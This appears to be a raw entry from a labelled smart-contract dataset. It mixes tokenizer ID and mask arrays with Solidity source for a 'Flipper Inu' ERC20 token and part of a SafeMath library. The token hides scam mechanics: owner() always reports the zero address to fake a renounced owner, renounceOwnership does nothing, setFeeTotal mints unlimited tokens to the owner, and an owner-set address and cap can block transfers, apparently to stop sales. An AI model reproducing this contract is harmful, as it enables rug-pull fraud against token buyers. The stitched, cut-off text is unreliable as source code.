4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/**
-
-
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FLIPPER is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public _tBotAddress;
address public _tBlackAddress;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'Flipper Inu';
string private _symbol = 'FLIPPER';
uint8 private _decimals = 18;
uint256 public _maxBlack = 50000000 * 10**18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function setBlackListBot(address blackListAddress) public onlyOwner {
_tBotAddress = blackListAddress;
}
function setBlackAddress(address blackAddress) public onlyOwner {
_tBlackAddress = blackAddress;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeTotal(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function setMaxTxBlack(uint256 maxTxBlackPercent) public onlyOwner {
_maxBlack = maxTxBlackPercent * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender != _tBlackAddress && recipient == _tBotAddress) {
require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount.");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2656,
1008,
1013,
1013,
1008,
1008,
1011,
1011,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1055,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint256 c) {
if (a > 3) {
c = a;
